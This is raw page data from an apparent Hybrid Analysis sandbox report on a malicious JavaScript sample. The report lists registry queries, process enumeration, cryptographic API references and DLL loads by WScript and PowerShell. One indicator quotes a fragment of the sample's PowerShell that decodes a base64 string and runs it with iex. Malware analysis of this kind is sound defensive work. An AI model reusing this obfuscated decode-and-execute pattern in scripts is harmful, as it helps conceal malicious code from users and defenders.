26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 52:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4bb,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 780e0202e2b8… — Score 84/100 — Hybrid Analysis","description":"Malicious verdict for sample 780e0202e2b8…. Malware family: Trojan.Generic. Threat score 84/100. 5/26 AV engines flagged this file. 3 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/780e0202e2b81d55b34d085543feaabe069fc6b883a6557e668452c71fe9f196","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","780e0202e2b81d55b34d085543feaabe069fc6b883a6557e668452c71fe9f196"],"about":{"@type":"SoftwareApplication","name":"780e0202e2b81d55b34d085543feaabe069fc6b883a6557e668452c71fe9f196.bin","applicationCategory":["script","javascript"],"identifier":"780e0202e2b81d55b34d085543feaabe069fc6b883a6557e668452c71fe9f196","additionalType":"Malicious sample"},"threatScore":84,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":5,"total":26},"behavioralIndicators":{"malicious":3,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T6f2,file/memory contains long string with (Indicator: "Oid"; File: "780e0202e2b81d55b34d085543feaabe069fc6b883a6557e668452c71fe9f196.bin") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00007016-00000BC0-1677407741") file/memory contains long string with (Indicator: "Aes"; File: "AMSI") file/memory contains long string with (Indicator: "CryptoStream"; File: "AMSI") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp, 00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found reference to "TripleDES" (Indicator: "TripleDES"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to "LegalKeySizesValue" (Indicator: "KeySizes"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to "Rijndael" (Indicator: "Rijndael"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to "CryptographicException" (Indicator: "CryptographicException"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp") Found reference to "KeySizes" (Indicator: "KeySizes"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp")28:T5ea,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SYSTEMFILEASSOCIATIONS\.EXE\SHELLEX\ICONHANDLER") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE\SHELLEX\ICONHANDLER") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\DOCOBJECT") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\DOCOBJECT") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SYSTEMFILEASSOCIATIONS\.EXE") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SYSTEMFILEASSOCIATIONS\.EXE\DOCOBJECT") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE\DOCOBJECT") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\BROWSEINPLACE") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\BROWSEINPLACE") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SYSTEMFILEASSOCIATIONS\.EXE\BROWSEINPLACE") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE\BROWSEINPLACE") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\.EXE")29:Ta08,"WScript.exe" queried SystemProcessInformation at 00000000-00006868-00000C15-1662317950 [PID: 6868] "WScript.exe" queried SystemProcessInformation at 00000000-00006868-00000C15-1662327461 [PID: 6868] "WScript.exe" queried SystemProcessInformation at 00000000-00006868-00000C15-1662833560 [PID: 6868] "WScript.exe" queried SystemProcessInformation at 00000000-00006868-00000C15-1662842917 [PID: 6868] "WScript.exe" queried SystemProcessInformation at 00000000-00006868-00000C15-1663031845 [PID: 6868] "WScript.exe" queried SystemProcessInformation at 00000000-00006868-00000C15-1663041806 [PID: 6868] "WScript.exe" queried SystemProcessInformation at 00000000-00006868-00000C15-1663852654 [PID: 6868] "WScript.exe" queried SystemProcessInformation at 00000000-00006868-00000C15-1663860096 [PID: 6868] "WScript.exe" queried SystemProcessInformation at 00000000-00006868-00000C15-1675427744 [PID: 6868] "WScript.exe" queried SystemProcessInformation at 00000000-00006868-00000C15-1675435380 [PID: 6868] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1676331759 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1676339091 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1677815564 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1677822896 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1678628538 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1678635977 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1679103912 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1679111223 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1679230500 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1679238016 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1679655917 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1680653115 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1680660824 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1681721919 [PID: 7016] "powershell.exe" queried SystemProcessInformation at 00000000-00007016-00000C15-1681729317 [PID: 7016]2a:T529,file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") Found reference to API "ce"#","JAB"-replace"&","");if($apple){try{iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($apple)))}catch{}}" (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00007016.00000000.171303.2CDD0000.00000004.mdmp, 00000000-00007016.00000001.172521.2CDD0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00007016.00000000.171303.2CDD0000.00000004.mdmp, 00000000-00007016.00000000.171303.2CFA0000.00000004.mdmp, 00000000-00007016.00000000.171303.470B0000.00000004.mdmp, 00000000-00007016.00000000.171303.47800000.00000004.mdmp, 00000000-00007016.00000001.172521.2CDD0000.00000004.mdmp, 00000000-00007016.00000001.172521.2CFA0000.00000004.mdmp, 00000000-00007016.00000001.172521.2EAC0000.00000004.mdmp, 00000000-00007016.00000001.172521.470B0000.00000004.mdmp, 00000000-00007016.00000001.172521.47800000.00000004.mdmp") Found reference to API "FromBase64String" (Indicator: "FromBase64String"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp")2b:T448,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to set the mode of a cryptographic stream Matched sigs: Able to decrypt/decode data Matched sigs: Command line contains long Base64-encoded string Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to perform cryptographic operations Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: YARA signature match – Encryption algorithm2c:T13b6,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006868) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006868) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac572dfe7f0000000000000000000051ed722efe7f000000000000e50100000000000000000000579e6f3e898400002a00000000000000a0c133fee50100008fec722efe7f0000e0ac572dfe7f0000e0ac572dfe7f0000000000000000000000000000fe7f0000ffffff7f14e1000000000000000000000000000000000000d8ce4b2dfe7f00002a0000000000000069c3042dfe7f00003100000000000000dc02000000000000e002000000000000110001100000000070cd9aa81a00000003a3202cfe7f000070cd9aa81a00000000000000000000002b00000000000000000000000000000020b00a2dfe7f0000b43f092dfe7f0000e0ce4b2d (UID: 00000000-00006868) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000004000000000000000000056fee50100000b8e702efe7f0000000056fee501000002000000e501000038000000000000004000000000000000300356fee5010000c85d9aa81a0000000000000000000000030000000000000000000000000000000000000000000000201022fee50100000000000000000000000022fee501000000b0b2a81a00000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000008a135fee501000004000000000000003800000000000000f0981f2cfe7f000038000000000000003800000000000000405f9aa81a000000c00c07fffd7f000000000000 (UID: 00000000-00006868) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0ff09fe7f0000070000000000000000000000000000000100000000000000e0fe9580e5010000000000000000000040479880e50100004c981f2cfe7f0000401a9580e5010000b3cefdfefd7f0000f0479880e5010000004fff09fe7f0000d0b0ff09fe7f000000000000000000000000000000000000f0479880e5010000e0fe9580e5010000b0909880e5010000985f9aa81a0000004c981f2cfe7f00000100000000000000985f9aa81a000000b0909880e5010000f0479880e5010000010000000000000002bcfdfefd7f0000204e9880e501000040d09680e5010000feffffff040000007df0fe09fe7f000010969880 (UID: 00000000-00006868) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000e0fe9580e5010000000000000000000040479880e50100004c981f2cfe7f000040139580e5010000b3cefdfefd7f0000a0499880e5010000384fff09fe7f0000d0b0ff09fe7f000000000000000000000000000000000000a0499880e5010000e0fe9580e5010000b0909880e5010000905f9aa81a0000004c981f2cfe7f00000100000000000000905f9aa81a000000b0909880e5010000a0499880e5010000010000000000000002bcfdfefd7f0000000000000000000040d09680e5010000204e988004000000feffffffffffffffe0fe9580e50100007df0fe09fe7f000000000000 (UID: 00000000-00006868) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000008000000000000000000000000000000000000000000000081010000000000001020000000000000000031fee50100000b8e702efe7f0000000031fee50100000a000000fe7f000000200000000000001020000000000000108331fee5010000e8ab9aa81a000000b9ac9aa81a00000003000000fe7f000080bc35fee501000069ee742efe7f00000000000000000000b0ef36fee5010000385db5dc00000000400000000000000000000000000000008403fe7f0000000080bc35fee50100008503fe7f0000000000000000000000000000780bfe7f000000000000000000000029780bfe7f00000000000000000000f7d9790bfe7f000000000000 (UID: 00000000-00006868) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000004010000000000007050e285e501000001000000000000000000000000000000000000000000000000000000000000008d29401cfe7f000002010000000000003016722efe7f000004010000000000000000000000000000d8be4fa91a0000001b8008000000000090bf4fa91a000000580600000000000040c64fa91a0000001800000000000000000000000000000000000000fe7f00001800000000000000000000000000000040c64fa91a000000f122401cfe7f000058c74fa91a00000070c54fa91a00000058c64fa91a000000250c00000000000040c64fa91a000000180000001a0000000000000000000000ffffffff0000000000000000 (UID: 00000000-00006868)2d:Tbb9,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000001800000000000000f97298aa0b89000047ab6f3e8984000006000000000000000000a83cf77f0000a402df0bfe7f000006000000e5010000d8f1282cfe7f0000a0f99aa81a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a83c (UID: 00000000-00006868) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000009cf29aa81a000000000000000000000050f69aa81a00000048f633fee5010000b0ec9aa81a00000000000000000000004ef7c52afe7f00009cf29aa81a0000000000000000000000000000000000000099dd282cfe7f0000000000000000000040ec9aa81a00000050ec9aa81a000000010000001a00000000000000 (UID: 00000000-00006868) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7bc62afe7f00000000ad09fe7f0000000000000000000000000000000000000806ae09fe7f00000001000000000000f0981f2cfe7f00000001000000000000000100000000000000000000000000000006ae09fe7f000001000000000000000f18ad09fe7f000000000000000000000006ae09fe7f000000000000 (UID: 00000000-00006868) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c316d06fe7f0000708b6f06fe7f00000200000000000000708b6f06fe7f000000000000000000000300000000000000b1316d06fe7f0000a8157006fe7f000090d156fee5010000a0d156fee5010000888b6f06fe7f00000100000000000000239f212cfe7f00000000000000000000888b6f06fe7f000006000000 (UID: 00000000-00006868) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006868) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d9021fe7f0000c0fe9121fe7f00000400000000000000c0fe9121fe7f000000000000000000000500000000000000453d9021fe7f0000286a9221fe7f0000be5ac72afe7f0000b84aa080e5010000b92a98aa0b890000b08ec72afe7f0000239f212cfe7f00000100000000000000d1329021fe7f00000000c02a (UID: 00000000-00006868) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000030000000000000000000750bfe7f000000000000000000000000000000000000883f760bfe7f00000001000000000000f0981f2cfe7f0000000100000000000000010000000000000000000000000000803f760bfe7f00000100000000000000bf10750bfe7f00000000000000000000803f760bfe7f000001000000 (UID: 00000000-00006868) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065000000fd7f000000000000000000000000000000000000050000050e330000a0ffde2c (UID: 00000000-00007016)2e:T60f,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")2f:T463,Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00007016.00000000.171303.49BCA000.00000002.mdmp, 00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; Source: "00000000-00007016.00000001.172521.47B00000.00000004.mdmp")30:Tc2e,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007016-00000C17-1679758456 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007016-00000C17-1679903362 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007016-00000C17-1680500612 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007016-00000C17-1680778246 "powershell.exe" queries volume information of "C:\share" at 00000000-00007016-00000C17-1680779693 "powershell.exe" queries volume information of "C:\share" at 00000000-00007016-00000C17-1681240902 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007016-00000C17-1681658616 "powershell.exe" queries volume information of "C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\Microsoft.PowerShell.PSReadline.dll" at 00000000-00007016-00000C17-1682126843 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007016-00000C17-1682400768 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007016-00000C17-1682432265 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007016-00000C17-1682912622 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007016-00000C17-1683043476 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007016-00000C17-1683087701 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007016-00000C17-1683903728 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007016-00000C17-168406441331:T3967,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006868) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006868) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a 